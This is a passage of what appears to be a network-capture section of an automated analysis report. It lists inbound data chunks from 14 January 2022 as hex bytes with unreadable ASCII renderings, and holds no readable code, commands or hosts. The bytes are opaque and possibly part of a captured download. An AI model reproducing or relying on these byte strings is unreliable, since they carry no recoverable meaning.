6a c7 a1 06 31 e1 e8 32 51 b5 cf e8 7e b0 b6 83 97 4d fa f8 c8 d2 b3 8d f7 26 c8 cc 57 b0 48 2c 4b 2d e8 60 0c 78 a6 3d 
eb f4 4b 1a 5d 83 97 b9 26 7f a4 e3 ef cf 49 dd a0 b0 6d 87 a8 b0 90 72 3f be 0b f3 da 9e 60 db 0d 16 14 c7 36 49 cc e9 fa 
18 4c 1a f1 cf 92 ad e8 62 18 f1 a8 ea a2 f8 
Data Ascii: @X]@!<={.c6>|]FP9#?]6{Z:xfKD*#Jy-C|l?9MO6n|E5j12Q~M&WH,K-`x=K]&Imr?`6ILb

2022-01-14 11:23:07 UTC 1718 IN Data Raw: 03 cc 53 ee a0 8d 0e 12 2c 73 c7 c9 e6 cd e2 91 49 fc 23 82 14 ed 3f ae 22 c1 de d2 9d fd d7 52 0d 4c 4d 5c 
08 55 2c bf 5c f6 db f9 76 55 3e 75 ce c9 21 26 d4 9d c6 f2 ac f7 0a 54 97 4b a3 92 47 8c 78 8e d2 af 18 ef 54 a9 32 6d c4 
bc 9e 1f 49 cb 37 22 cd b7 7f 96 2f fc e2 78 ae 2b da 99 f9 f7 6c b2 c2 66 f9 b1 b6 ca dc 8e 2f 92 9f 2e 4d ba 5b 5c 14 5f f8 
20 fb d3 51 a0 a6 3c 98 ad 59 97 64 aa 34 e9 46 fb 94 52 8d cd 9e 6c 19 6f 9f be 89 a8 18 4f 75 02 b5 fa 18 a2 32 65 fa 34 
4b 24 6f a6 b8 f2 d7 f0 30 48 fe c2 99 51 0f a8 0b 72 36 fe 67 73 4c b0 74 d8 28 ca ce 87 45 b6 e0 8b 6d 80 df 1b 69 1d d3 
2a 4e 9e 0a 03 db 0e 1f 41 7e b8 2a 29 c4 6d 77 81 55 13 65 3a e9 f5 1e 5d 3c 13 ce de 7c 7d b6 c7 9c 85 59 99 1d 1b 30 
ba 14 2e 96 c3 b7 05 95 82 e7 70 6f 0c 42 
Data Ascii: S,sI#?"RLM\U,\vU>u!&TKGxT2mI7"/x+lf/.M[\_ Q<Yd4FRloOu2e4K$o0HQr6gsLt(Emi*NA~*)mwUe:]<|}Y0.poB

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:07 UTC 1734 IN Data Raw: ac b7 87 35 82 8d a6 69 8d f1 5c 4c 3c 6f 09 23 58 bf 25 4e c5 44 e6 b7 97 a8 ac 90 f7 22 cd d3 c6 a8 af 13 7a 
91 4a dd ec 19 f6 a4 c5 63 36 f3 8f f2 92 a4 06 29 78 33 70 e6 f0 24 84 b2 0e 74 cd b1 0b d1 d7 53 e0 6c e8 87 2b f1 b7 bb
6f 6c ee eb c5 f2 bc eb 05 b7 98 13 f5 78 59 b5 45 c2 49 df fb 3e 55 e1 27 83 a6 a7 d5 16 73 36 36 90 7b 3b ce e0 6d c9 5f
42 bd 66 36 35 c6 ef b6 7b fc d9 27 44 c1 30 87 09 e6 f0 0d 69 e5 5f 69 96 70 ce e0 f2 ef 28 2a 44 e3 33 79 5b 2d 7f 61 8e 
f5 9b 60 6c a3 41 c1 f6 3c 32 fa 32 cd f7 4d aa 58 47 4d e1 28 3d ec 76 0c 72 88 92 37 cc e2 f7 75 6b 48 c8 ca 36 f7 c1 a2 
3e d2 88 aa d9 b5 a9 fb 36 7a d6 d9 fa 0e 24 f3 82 4f 98 c7 b3 a5 ac c9 92 41 d8 d0 01 26 fd 8d 0a c4 ed 46 01 bc 2d a0 
9d e1 0e 88 18 ff b5 d2 1a d4 1a 93 c7 02 
Data Ascii: 5i\L<o#X%ND"zJc6)x3p$tSl+olxYEI>U's66{;m_Bf65{'D0i_ip(*D3y[-a`lA<22MXGM(=vr7ukH6>6z$OA&F-

2022-01-14 11:23:07 UTC 1750 IN Data Raw: 80 d5 50 91 16 a4 61 c8 96 92 1c 32 ab 66 84 42 cc 40 ae e8 8c 5d 10 43 df 8d 96 f0 71 4d 55 10 3b 3f 6a 15 
05 b7 8e 13 38 2f 72 04 8f c4 81 90 4e 9b 2b ea 35 a0 ec 66 ba 10 0a af 65 0c ca de d6 c4 1e 81 6a d3 b5 d7 be ac 13 4e 
34 0e fd a0 42 93 56 e5 f8 75 6b 6c 0d 4b 39 c9 3a 39 11 46 04 55 14 ea d9 bf fd 39 d5 72 70 ef ed 7a c4 bf 9f 34 91 b4 f0 
28 9b 25 31 9a 07 63 5a de 84 35 72 56 38 0a c7 cb 85 27 be 29 aa 80 b3 86 7b 2d e8 41 56 05 96 bf f6 8c bb 9d 40 01 e6 
95 17 d0 32 ce dc 94 4b ec 4a cf 65 52 46 6d 60 72 07 d5 1a 37 0d ec bb 02 27 39 30 7e 3b c2 4c f6 1f e8 1b f1 2e dc 8d ff 
0e 1e 27 ff 1e 87 09 95 59 1a 3e 5c 02 7d 34 a5 f6 fa 34 52 bb 93 e2 69 bd 76 1f f9 49 e8 d8 dc fe ba ee 6a 6f e6 7e cc 40 
4e e4 b4 4a bd 54 75 d5 bf 78 d9 c5 ce 09 2f 06 
Data Ascii: Pa2fB@]CqMU;?j8/rN+5fejN4BVuklK9:9FU9rpz4(%1cZ5rV8'){-AV@2KJeRFm`r7'90~;L.'Y>\}44RivIjo~
@NJTux/

2022-01-14 11:23:07 UTC 1766 IN Data Raw: ab 65 ae b4 cf e4 7c 51 ea 7d 65 55 3a 2e 19 f0 25 5b 15 da 41 ee e1 78 7b 47 b3 28 f1 68 69 9a c2 f8 e4 ff 1b 
6b 45 ee d1 44 af 47 93 89 9d 60 cd 02 a2 cb cc e0 83 bb e0 4c eb cc 10 d4 25 69 c2 b2 08 ae a1 ea 07 76 ae 02 b6 3a ed 
21 53 ff d2 51 78 da 14 e2 5d ca 8f c5 d8 62 03 6a 23 38 90 8f d6 e7 df e6 1b 37 74 b2 b8 26 02 76 13 d9 30 c5 ed ec c0 
7a 67 8c eb b1 5b 36 e0 05 fb 0b bc fc 65 3d 96 6d 67 cc a7 34 80 36 64 f3 4b e9 a0 c6 41 23 6d c2 2e 1d 19 9b ea 45 99 
d6 34 de bb 5f 23 2e c5 44 71 13 38 c1 05 5b d5 49 1d f1 96 c5 c3 31 8c 40 c5 18 41 52 39 7b 6a 7c 79 57 26 06 2d 44 59 
29 05 44 b5 0d a9 1c 00 91 99 9a 5d a5 9f bd 90 29 38 b9 db 71 c5 0f 3d 99 22 85 87 a6 fc 53 9c 02 f8 7e f3 17 4c 5c 31 
13 8d 92 8e b0 f2 a2 8e 4c 15 cb f5 9e 6b 83 96 47 07 
Data Ascii: e|Q}eU:.%[Ax{G(hikEDG`L%iv:!SQx]bj#87t&v0zg[6e=mg46dKA#m.E4_#.Dq8[I1@AR9{j|yW&-DY)D])8q=
"S~L\1LkG

2022-01-14 11:23:07 UTC 1782 IN Data Raw: 8f bd ed 92 40 db f3 e2 aa 04 b0 66 b7 02 22 e0 4d 6e d5 da cd 60 47 18 58 bf a9 5b c1 62 dc da 1a 48 49 19 
1a ca 79 25 b0 95 48 6a 1f 57 4c 63 9b af db d2 e5 6a a9 85 1c 7b 72 4f b1 14 c6 18 90 ea c3 be 1d 2d 06 41 74 a6 e8 5d 
a3 a9 45 d2 e1 76 eb 84 0d 9d c8 3e 16 b0 a8 83 fb fa d5 f5 f1 fe c2 d1 11 c4 bd 62 0c 8c 9a 61 93 b1 13 49 c9 e6 07 6c 6a
70 ce 2d a7 72 9b 68 13 8d d0 ad da f9 0d 01 e8 aa 1f c1 e8 44 47 55 14 7d f7 40 0d c7 ae 88 02 95 db b9 43 a5 e4 f7 68 
30 0e 68 03 3c fd 12 d1 40 e3 90 a5 85 01 39 66 4f 0e f6 b2 e5 ba f4 9a b7 44 5e 50 3a af fa 56 17 99 d3 7b 95 d3 ea 98 fc 
ef bc 5a e7 1c ef da a7 af ce 5d 2b ee 93 7f e2 08 df 52 06 ea 07 10 af ef ef 4f 31 a2 89 b5 03 23 d4 bc d8 e1 03 56 10 6b 
2f 3d 49 7b a2 d9 c8 93 89 07 37 95 ff 53 b7 22 
Data Ascii: @f"Mn`GX[bHIy%HjWLcj{rO-At]Ev>baIljp-rhDGU}@Ch0h<@9fOD^P:V{Z]+RO1#Vk/=I{7S"

2022-01-14 11:23:07 UTC 1798 IN Data Raw: 38 48 0f 68 0c 74 eb 37 b7 8a 0c b6 c2 36 52 47 58 90 e3 1c 76 d5 09 60 70 1c 89 d0 2f 37 28 68 44 86 27 7a 
98 c9 89 59 82 96 d9 96 b6 ef 8e 9b 01 f8 29 62 f1 43 77 06 09 02 dd 74 2b 5b aa 56 de af 91 ef 38 bb 42 36 b9 c7 c6 38 cf
62 2f 8a 64 7d d7 e4 e4 93 0e eb 7f 45 e4 df 3d 57 4b 69 c2 c5 6f d0 67 4b c3 2c e6 c6 db 4e a3 56 b4 46 aa c2 0d ed 08 
ec c6 10 0a dd c9 b0 c0 d3 57 7b 78 d3 ff 12 40 75 39 32 e1 7d 3c d7 e7 30 c5 db da ef a6 5c 76 b4 f3 58 a7 f5 9f 1e 13 99
98 10 c2 07 09 26 34 91 3b 0c 0e 4c 1f 40 7d 6f 32 67 05 ec 92 08 8a 68 09 93 71 62 59 a6 08 c3 2a 81 11 0d 05 5f 09 bd 
3d 40 de 17 97 ae 1a a5 4c 3b 8a ba b7 ba dd 94 8b b8 fd 65 b3 1d f3 b8 0b fa 94 72 48 23 65 3c 9a b6 eb d9 cc dc 3f 87 
95 2c da a1 b8 98 32 fd 7a b8 a8 de 9f a0 a2 9c a3 
Data Ascii: 8Hht76RGXv`p/7(hD'zY)bCwt+[V8B68b/d}E=WKiogK,NVFW{x@u92}<0\vX&4;L@}o2ghqbY*_=@L;erH#e<?,2z

2022-01-14 11:23:07 UTC 1814 IN Data Raw: 28 45 8c 0d 60 e9 09 14 d4 8c d4 a1 76 27 98 b3 15 12 b3 81 d0 bf ce 49 6b 8c d5 16 3a d9 b0 c2 42 1f c2 8e 
98 52 69 ee e1 1d f1 37 24 c3 32 c9 04 b4 02 da f7 2f 80 6b b7 e8 4f d3 25 97 bf 40 42 9e f9 8b b6 4a de 1f 0f 5a 35 38 09 
b7 d2 8a aa d7 7e 27 ae c2 b4 11 2a 26 9d 84 68 7e 36 e7 fe cc fd 8a 53 96 bf 1c 8d b2 99 ab 38 5f 5e 79 61 8d 37 89 bd 
09 90 e2 2c b5 8d ac 2d 17 8c 92 1b 75 99 eb f2 67 8f b4 ed 7d e4 b6 25 00 d3 95 d7 91 bc 6d e2 d6 f2 95 1a 3c 3c 73 34 
a8 d9 a1 5e d7 2c 84 5d 9c 5f 45 45 a6 b8 88 f5 04 03 4f 9b 71 77 83 93 74 67 93 ee 36 09 f7 2e 07 62 ba 99 ce 78 94 67 
d4 bc e7 2e 25 7a 45 cc 6f d0 4d 2d 38 63 23 45 d6 69 ec ad 63 23 22 06 14 42 04 09 61 22 fd 2d ae 5d a6 a5 2f 28 2c 1a 
18 30 b0 08 bc 2d f3 f7 9f 37 44 8e 63 0e 8e 84 f6 8c 
Data Ascii: (E`v'Ik:BRi7$2/kO%@BJZ58~'*&h~6S8_^ya7,-ug}%m<<s4^,]_EEOqwtg6.bxg.%zEoM-8c#Eic#"Ba"-]/(,0-7Dc

2022-01-14 11:23:07 UTC 1830 IN Data Raw: 11 5a e7 24 a5 48 8c 7e 9b 32 e4 6c 96 83 d5 2c 5b 6b e6 c9 84 fb 75 4d 76 58 d4 d4 96 93 0e 39 37 68 0f 0a 
c4 cf 5d 64 b2 07 30 1a 64 7a 23 a0 77 27 0b cf 72 b4 bc 06 1e 2b a2 e7 6d 4d 65 c8 94 c4 40 af 05 98 9b 1c a2 10 f9 e3 
4f b2 d3 de da b8 ca 62 45 c3 75 e1 57 ea 4c d1 2e 73 2e a7 c0 b8 17 78 ea 46 27 59 30 6a 62 77 7e 22 dd 39 07 82 ed 
14 a0 c5 73 e2 d8 95 ad 96 4b 2c 75 da a7 ed 39 e3 f9 3b 4c 95 26 c7 b6 07 f0 38 01 ad 89 18 bf f1 48 d3 1c 19 48 a5 3d 
b4 c6 65 be d2 ff 80 06 af bf 31 5e d2 d6 e4 71 bb a7 03 36 1d 4c 45 51 58 d2 63 ec aa 52 e8 47 82 e2 6e bd b7 f3 c4 4f 6c
c5 7d 90 89 d0 eb 1b 92 7d 7b f7 94 64 ec f4 01 a2 8d fe a2 57 8e ec 63 c4 42 68 43 db c0 88 51 66 16 61 5c 53 9a ac 98 
a9 04 68 f1 b7 bd 48 58 de 03 8b 32 95 4b 57 fe 8d 66 d4 
Data Ascii: Z$H~2l,[kuMvX97h]d0dz#w'r+mMe@ObEuWL.s.xF'Y0jbw~"9sK,u9;L&8HH=e1^q6LEQXcRGnOl}}{dWcBhCQf
a\ShHX2KWf

2022-01-14 11:23:07 UTC 1846 IN Data Raw: a4 96 92 ee 62 cc cd c6 a2 ab 02 5d f8 9f 21 19 70 07 16 03 2c 91 85 ee b1 15 e3 a1 76 1f 09 3f dc 48 f7 5f 1b 
78 1a c6 8c 45 03 c9 00 a5 75 d0 a4 29 eb 92 8f bc 89 0f 00 92 03 db 35 aa a2 fa a0 70 f0 af 5b ee 57 a2 22 ab 2b 78 04 
c2 ff ac a7 0e e5 32 08 d1 07 da 52 0c 90 fd 7b 2e 08 4b 86 8e be f8 b8 64 45 df 12 f8 60 3b 56 3d 8a 85 bc 8e e8 9c 52 
01 3c ef 10 e7 fb d0 68 45 64 3c 6c 65 c5 aa 57 77 d6 6d 50 0e 0b e1 10 99 e9 d8 76 1b 8c e0 b3 ae e8 b1 5a 2e ec e4 86 
34 5b 76 34 75 7d ac 62 d7 f7 f0 5d b8 eb a3 da 32 7d 69 73 1d a7 38 e0 d1 da 6f 4d 02 b9 60 24 eb c6 de ad 6c 53 7d e3 
cb 91 4b f2 0c 41 38 b1 78 5c fe 95 6b b0 f4 66 2d d4 9a 12 4a 6d 77 35 96 2d 0a 7b 86 bc 35 12 79 29 5a 01 c4 cd 52 5f 
a2 0a 58 ed 0f 15 16 84 61 72 5a 9c 5a 27 11 4a 71 fd 
Data Ascii: b]!p,v?H_xEu)5p[W"+x2R{.KdE`;V=R<hEd<leWwmPvZ.4[v4u}b]2}is8oM`$lS}KA8x\kf-Jmw5-{5y)ZR_XarZZ'Jq

2022-01-14 11:23:07 UTC 1862 IN Data Raw: 27 be 58 a2 79 60 5f 31 79 b6 4f 50 f5 6a 54 77 2c 76 62 34 8e 51 0d fb 54 42 48 bc 12 6a 24 5b d5 d6 e8 89 
65 aa 3a be 71 01 6b 28 f8 aa cc 2d 0f d1 ab 55 13 0a 43 7e e9 7b 22 6b 8c cb 80 12 47 b4 da 7f 06 a8 31 0a e5 5e d3 dc 
d3 d1 cf f9 5b 84 50 9b 7f 2c 3b 90 5f 82 1a 9c e6 25 95 a5 a9 20 58 26 46 db 5f e7 bb 9c eb 14 64 dc 0b 94 1f 44 db 10 86
3f 6f 91 2f a7 bf 30 74 cc a5 fb 48 a6 fe 64 d4 51 e9 94 67 a2 0c 58 a8 98 64 be 7b 48 ee b0 02 03 1f e0 24 42 d5 58 e7 
06 ec 66 a0 8e 09 23 a4 11 6b c6 08 3d 47 54 ee 02 1a 23 bf 4c c3 a8 08 9b 37 fe 60 79 0f 0a 6d b5 d4 eb d2 e7 65 08 9e 
0b 00 c4 88 e7 7d 64 15 b0 f9 a3 e5 42 49 93 eb f0 8b 1a b4 91 75 05 bc 78 2b ea 60 31 9b a8 e7 f4 ac 9c 8d 3d 51 5b 2d 
f9 40 0e ca b9 c6 e1 17 e3 6c 39 4e 1f 9f 3c 3a 0c 7c 
Data Ascii: 'Xy`_1yOPjTw,vb4QTBHj$[e:qk(-UC~{"kG1^[P,;_% X&F_dD?o/0tHdQgXd{H$BXf#k=GT#L7`yme}dBIux+`1=Q[-
@l9N<:|

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:07 UTC 1878 IN Data Raw: c1 20 06 a0 0a 72 71 cb 36 83 e2 2c 2c 17 b3 f0 2c 4a d6 88 5a da af 28 de 0c 5d 66 52 d6 05 fe ba 1a 48 c2 cd
6a ef eb bf 74 34 fe a5 9a 5e a8 c3 49 43 a6 04 77 9e e9 0d 61 51 fb fc 95 72 9a ff a0 1c d1 6b 21 b4 b0 fb 09 91 e8 c6 82 
7c 82 5d b7 47 2b e8 3c 01 5f 73 15 f8 24 66 d2 1e 73 46 31 38 e1 d8 d2 4b db 8a 9e 35 54 a2 78 5a e3 dc 20 e4 3e 84 c4 
c5 68 f9 08 6a 23 72 13 d2 27 b0 e1 b3 26 9f e4 7a be 0c 6d 86 a3 9e f7 c3 48 75 9e 1f ef dd 85 12 57 aa 8c 1a b9 7c 66 
d3 6c 2e 9a d2 91 4a 82 9f 45 ca 6d 08 80 c0 8f b5 3f e1 79 e0 d9 03 ee 3e f1 62 47 45 89 53 81 20 73 d5 94 3f 05 4f 6a dc
32 9a b6 05 66 2b ea a6 88 b4 2e 38 31 71 46 84 10 72 50 5c 35 e0 30 30 09 89 8a 40 22 20 de 58 e3 1a 7f 1f 1c 54 84 30 
cf 26 f8 90 d9 1f 87 40 ef a1 a6 f5 1d 12 e6 07 
Data Ascii:  rq6,,,JZ(]fRHjt4^ICwaQrk!|]G+<_s$fsF18K5TxZ >hj#r'&zmHuW|fl.JEm?y>bGES s?Oj2f+.81qFrP\500@" 
XT0&@

2022-01-14 11:23:07 UTC 1894 IN Data Raw: 1d 8f b3 e6 f1 07 ed 93 2f 18 93 2e c0 ed 4c 3e e3 e1 6d af c0 c3 ff 48 58 55 52 e4 70 f9 bf 58 28 56 56 04 95 
6a fb 57 96 73 bc 32 d7 a3 58 f4 b3 9c bb 8d 5e 09 71 17 12 ce aa 2c ba fd 3e a9 87 8a 52 4d 54 96 ed 2a 90 ab ec ff 79 
1d 21 f9 7d 3b 34 28 a8 35 b1 d9 a4 da 3c f9 6e 4a 1e 6c fb 34 bc 74 0d 9f 57 1c b6 73 74 1f 3a c8 5e e6 b3 aa 3d 48 c4 
12 59 98 6e 87 66 26 39 ea f2 8b 8a d9 72 fd 30 c1 ff 8b ed fd c5 10 4b ed f0 58 98 c9 5d 4c 64 29 04 5d 82 f3 ff 80 d0 f4 
b6 36 98 b0 c1 df 6e fe 48 44 e2 06 c4 d0 ba c5 6f 8a ca fd cc 11 e3 f3 63 1f 12 a2 a5 d1 ec 64 e9 bb 59 df a4 41 f3 38 63 
f1 5e 56 9d 9f c3 32 5f a8 74 5e b0 e7 16 02 02 02 a8 a6 71 bb 8a 2f 57 2e dc a3 e5 06 d3 a6 2e 57 31 6b d8 77 45 91 3e 
55 96 96 a8 86 e7 63 40 2f ec 3a 6f f1 7a e2 8a 
Data Ascii: /.L>mHXURpX(VVjWs2X^q,>RMT*y!};4(5<nJl4tWst:^=HYnf&9r0KX]Ld)]6nHDocdYA8c^V2_t^q/W..W1kwE
>Uc@/:oz

2022-01-14 11:23:07 UTC 1910 IN Data Raw: 9c 86 e2 6a b3 ba e6 3d 72 3d 63 62 ff 6c f5 57 86 59 a4 d0 6c 9b ad e9 52 3a 0b 0d 59 cc bd d6 45 27 2b 4b 
dd 5f ce 5a 45 ea 97 03 c7 5b 89 e3 de ca 62 db 96 b3 8c 3a f6 08 36 a4 11 5b 84 46 11 99 9d ee 4a 2e e6 d9 79 36 96 c6 
8b b3 da 2a 02 66 6f 9e 6e a4 f7 f4 00 d7 5c ed e3 04 94 52 46 02 e9 b0 6f 2e 49 92 8e 6b b2 b9 42 9a 2d b8 96 65 5a 51 
5f 0d 8c 94 05 d6 27 77 30 43 4d f3 51 f4 c5 e9 39 11 90 5e 72 cd e5 f5 49 95 9a c5 18 d7 93 ab a0 ce cf d0 71 d5 12 82 
5a b3 52 de 43 62 bf 78 8e cb 74 b1 3c 08 f4 34 2a 6c 94 45 d9 6d d8 95 51 cc 0b fc e9 78 62 01 4c 9d cf 1c 7c e3 dd 74 
cc 6b 76 37 4d 4c 1c 3b 90 8f 84 e1 d2 ab 8f 81 fa 19 52 8f 2f 1a d8 36 cb af fa cd 96 20 99 3f fc f1 fa 1c e8 a1 51 b5 4e bc 
3f 36 9b 91 4d 1a b0 3d 96 b2 9a 26 fa a5 19 8d a7 
Data Ascii: j=r=cblWYlR:YE'+K_ZE[b:6[FJ.y6*fon\RFo.IkB-eZQ_'w0CMQ9^rIqZRCbxt<4*lEmQxbL|tkv7ML;R/6 ?QN?6M=&

2022-01-14 11:23:07 UTC 1926 IN Data Raw: 0a f9 15 ac f0 8c fb 16 a0 0a fc 4c 5b 8e 12 53 e0 d7 48 b6 68 85 15 67 de 7b 52 79 18 e9 cd ca 4e dc 85 a7 2c 
6c 01 af 15 0a 43 8c a6 38 23 b0 53 80 1f 8e 2a 55 40 de cf 37 ba 60 53 b6 26 2b c3 ef 9e 86 86 d8 70 4b 70 72 ac ec 30 
99 08 36 c9 fc 5d a2 20 76 40 da d9 b2 9d 61 f6 65 39 4a 22 d4 f0 f0 67 89 24 db 2a 39 da 21 e4 fb 5e 60 74 d1 06 6c fd 
7a 25 f9 48 7c 90 50 64 6b e5 0a 70 0d 87 79 73 68 43 b8 0e c2 2f 1e 66 d4 7b db 00 1b 50 79 33 6f 35 74 d1 c5 d7 24 86 
03 11 04 8d aa b7 dc fa 4e cb 71 a6 b5 d1 f0 34 57 b5 18 73 ad e4 38 96 8b 11 93 5e d0 f2 d5 6a 2c d3 98 ce 18 86 e3 ac 
8f f1 eb af 20 6b 04 aa be 37 7b 03 de b9 13 44 ad b0 68 01 6d 8d bf 68 d5 6a 06 2e e8 77 06 52 75 17 88 cd 53 4b 18 8b 
99 b1 43 27 63 a7 f8 56 6c 85 75 be f4 e4 0e ca 55 c1 
Data Ascii: L[SHhg{RyN,lC8#S*U@7`S&+pKpr06] v@ae9J"g$*9!^`tlz%H|PdkpyshC/f{Py3o5t$Nq4Ws8^j, k7{Dhmhj
.wRuSKC'cVluU

2022-01-14 11:23:07 UTC 1942 IN Data Raw: 25 cf 22 01 35 f7 6f 8e fe 92 4f f7 6e b4 fe 62 da 89 f3 b0 79 0d 27 d4 49 a6 e3 45 6b 20 e9 1e fc 7e d3 ff a0 a3 
5a c7 d7 b5 2d 32 d9 b0 7f 37 ae b4 51 6a 19 1a aa 30 59 cb e8 fd 9a 9e 00 8a f1 63 08 84 a9 f1 53 d1 a7 77 4f 80 7e ae 
8a 13 87 c1 a0 a2 a1 a1 62 40 87 d9 31 00 1b ba b7 3a 16 bd 0a 0a 16 5d 97 16 3e 8f 07 bf ed 3d bf 4f 4a 04 a4 84 bf 42 
b2 87 d9 91 19 99 4e 4f d3 e5 a5 e5 4e 36 b1 50 04 82 0e 08 99 35 12 ca 8b 3e 16 f3 82 7e 62 8e 08 61 48 df 61 99 c7 15 
06 0f 82 8e 82 d0 92 9f e3 3d 99 4f b3 ff 64 8a ab 62 cb 97 5d a3 97 38 03 8b a7 95 23 3f c2 26 3c 57 36 3a 9c 0d e0 9c 87 
52 ed 80 19 b9 e9 1b 63 ed 41 90 f0 db 75 67 bc 28 d2 f1 f0 a5 7c aa bc b2 88 88 59 75 11 8d 21 65 2f 24 d0 f7 d6 01 d8 
da e9 2b 5a bd 02 47 48 e4 98 ca 35 58 f8 2a 27 
Data Ascii: %"5oOnby'IEk ~Z-27Qj0YcSwO~b@1:]>=OJBNON6P5>~baHa=Odb]8#?&<W6:RcAug(|Yu!e/$+ZGH5X*'

2022-01-14 11:23:07 UTC 1958 IN Data Raw: 69 f5 ce 0d 0a e3 b7 5c cf b5 c7 f6 3c 06 a0 7c ec 69 1a 0a 9f e0 7c a3 c7 71 9f 59 dd 33 35 f8 6f 8b 12 1a c3 
3a dd 15 dd f8 2d 3f 79 6a 22 ad 13 6d 00 9e 3b e1 62 e5 85 49 24 35 3f 40 f6 a8 f7 1c 93 ca 71 48 8c 9c dd 53 11 a3 04 
81 be 5a 37 2d 89 c8 50 7d 5a 2f 65 8d f9 a7 cb a0 7b 47 1b 94 b1 59 39 da 11 f4 c1 cc e6 60 d2 e4 a1 4b 5f 58 69 a8 01 
9b 95 56 8a 05 bc 97 83 16 28 e5 21 62 27 38 ce 9b 7e 7b c2 9a 1d 16 71 6b 76 b8 66 38 87 2a 3c 00 72 66 e9 1d 56 83 
21 19 af 0f a2 d0 c9 0a 62 dd e6 51 a3 ca 40 aa 8b 67 b9 a2 3e 3c cc 3e 2e fe 39 11 13 99 76 91 90 4b b8 d6 13 36 a7 0b 
d0 a7 48 c9 9b 8a c9 6c 50 e1 20 2f 1e 0a 3f 3a 86 e3 a8 2e 86 a4 69 b1 7e cb 31 a6 c0 f5 bb 63 0e 11 36 4e 02 31 6d 97 
21 37 01 12 81 ff 2c 1e d7 78 97 39 74 c4 45 d8 d8 b9 ac 
Data Ascii: i\<|i|qY35o:-?yj"m;bI$5?@qHSZ7-P}Z/e{GY9`K_XiV(!b'8~{qkvf8*<rfV!bQ@g><>.9vK6HlP /?:.i~1c6N1m!7,x9tE

2022-01-14 11:23:07 UTC 1974 IN Data Raw: 8d 3b 5a 3f 43 aa 9e 23 d4 c8 a3 0d 44 2b f9 75 d4 55 a5 15 e1 13 4d c6 3f 8e f5 5c f7 83 7b a3 eb ea 12 b8 d8 
d5 12 a9 43 68 d6 bd 85 a9 7d 7e e6 21 c3 32 1b f8 d9 30 fe 4e c4 e2 f1 2f a1 e1 99 b0 50 00 1c 7f 17 a6 16 1e d2 b7 17 
e3 aa ec 13 64 c4 22 f7 30 89 b8 7b 36 d6 b0 2a 2f e8 1c a4 25 e8 43 2e 2f ba 18 c9 1b 84 7e 96 4a 41 61 6e 19 17 b0 e7 
cd 28 ab 4e 74 af 7a ae 55 37 03 76 c1 90 6b 8a 3f 77 d0 a1 2c d4 18 af 8c 3b 3d c7 b5 f4 bd 54 bb 01 9a 89 e3 1d 80 17 
5c 73 9d 4a 43 bc 34 6f 3a b5 ca 5d 14 f5 40 97 d0 e7 9f f7 94 0a 82 35 fa 8b df 47 82 82 94 54 cf 4e a1 44 e6 2d 0b b7 9f 
d3 98 d2 1c 64 9e 2c e6 7d eb fd e9 ca eb a3 04 a4 61 36 8d 50 65 12 b4 13 0f 8c 88 dc f5 87 82 c3 ac db 47 33 fe f6 0b 
59 01 df 94 8c 33 c7 50 65 4c bb 43 62 0e 2f c4 ef 
Data Ascii: ;Z?C#D+uUM?\{Ch}~!20N/Pd"0{6*/%C./~JAan(NtzU7vk?w,;=T\sJC4o:]@5GTND-d,}a6PeG3Y3PeLCb/

2022-01-14 11:23:07 UTC 1990 IN Data Raw: 01 f5 c4 2f a9 0b 7d 62 13 c7 9b ae 22 f1 c4 aa fe c7 39 cb 3d 81 f2 54 60 a5 5a 85 cd 6c 20 7c 51 0c 08 95 02 
1d fd 63 f5 e1 1f bf e7 d9 56 42 49 8b 64 d8 5b c2 52 43 dc 58 95 e1 12 7d 88 9c d1 37 9f 8b 66 bf c7 5c 65 5d 8e 78 47 bf 
31 d9 55 46 b8 13 80 24 71 c8 95 e9 4b 5c 39 7b 18 3b 32 82 cd 90 a7 71 bc 22 de 86 1d 0d 78 74 ba 4e 8b 1b a2 36 82 
58 d2 60 0c 86 7b 4e f5 73 d4 a9 99 28 9d 42 3a 35 a0 45 b5 0e 50 ac 46 8e 37 70 94 af f9 0d ba 70 5d 39 08 a3 a0 2d 71 
ff 2c a7 23 04 56 80 ee 7d 90 c1 ab b6 1c c9 6a 64 b1 14 91 d4 fe 17 f9 e3 b2 c5 10 50 bc 2e 47 40 21 f7 19 3d ed fe d8 59 
ae f0 ab e8 ab c9 ec ae e1 29 f8 4a 9a 18 87 b7 9b f1 d5 36 65 4b 4e e3 41 f6 5d 79 51 bc 6e 9e a1 ce f8 d8 0b 77 4b a3 
bc 3e 18 71 be 34 63 5a eb db 74 43 6b 78 21 dc 97 
Data Ascii: /}b"9=T`Zl |QcVBId[RCX}7f\e]xG1UF$qK\9{;2q"xtN6X`{Ns(B:5EPF7pp]9-q,#V}jdP.G@!=Y)J6eKNA]y
QnwK>q4cZtCkx!

2022-01-14 11:23:07 UTC 2006 IN Data Raw: 48 0b b6 ed c0 b9 a3 df fa 38 a3 fc ec 4e a7 8d 8d b4 ac b2 b7 be 60 9d a6 64 0a f3 0c 47 dd f5 d5 d2 ea 52 ad 
16 d9 c4 65 e2 77 25 a2 65 e7 e5 46 bf 6c 94 e2 4b c8 04 ed cd a4 36 73 81 7f d7 ec b4 5d 04 2d 81 50 a0 b9 af d9 30 66 
76 49 37 2e 5e 00 91 57 67 29 48 bb d8 c6 c1 c2 6c 0e 82 6a 92 8b 74 5e 2d a5 c6 56 b9 f9 1e b5 d0 f1 12 97 3c 2b 2a 06 
c5 61 12 50 f9 e6 24 3c d2 ec 52 f3 bb 45 66 5b 1e e1 ca 7f a5 df b3 9e 53 5e 8a d3 25 3b ba 0a a0 10 ee ef ad c3 e7 43 6f 
90 ca a8 23 4c b1 9f be 21 68 b3 84 32 17 8c 74 6e 82 c9 c9 75 ee 98 28 03 a4 71 01 01 6b bd 0c 65 8f 82 0c 3a 32 b3 33 
96 39 1f 07 42 28 ed 00 19 cc 52 44 47 fa e7 ca 68 ab 0c 0e 2c 68 55 d5 c9 b8 75 c0 c3 ef 58 7e 3c c4 17 eb 8e 01 e4 03 
97 fb 10 aa cc 7d a0 60 8e de 34 e2 e0 2f be 0f fb 
Data Ascii: H8N`dGRew%eFlK6s]-P0fvI7.^Wg)Hljt^-V<+*aP$<REf[S^%;Co#L!h2tnu(qke:239B(RDGh,hUuX~<}`4/

2022-01-14 11:23:07 UTC 2022 IN Data Raw: 2f 63 0e c0 2d 6d 23 60 1f 42 12 a0 70 22 3e 6a 6e e5 d5 e9 40 97 d8 47 07 05 80 69 d4 94 46 1a 34 88 9e 24 
